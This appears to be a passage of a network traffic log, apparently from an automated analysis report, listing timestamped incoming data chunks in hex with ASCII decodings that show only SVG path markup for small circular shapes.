2023-07-27 19:54:09 UTC	4517	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-07-27 19:54:09 UTC	4533	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-07-27 19:54:09 UTC	4549	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-07-27 19:54:09 UTC	4565	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-07-27 19:54:09 UTC	4581	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-07-27 19:54:09 UTC	4597	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:54:09 UTC	4613	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
2023-07-27 19:54:10 UTC	4629	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-07-27 19:54:10 UTC	4645	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-07-27 19:54:10 UTC	4661	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-07-27 19:54:10 UTC	4677	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-07-27 19:54:10 UTC	4693	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-07-27 19:54:10 UTC	4709	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-07-27 19:54:10 UTC	4725	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-07-27 19:54:10 UTC	4741	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-07-27 19:54:10 UTC	4757	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-07-27 19:54:10 UTC	4773	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-07-27 19:54:10 UTC	4816	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" 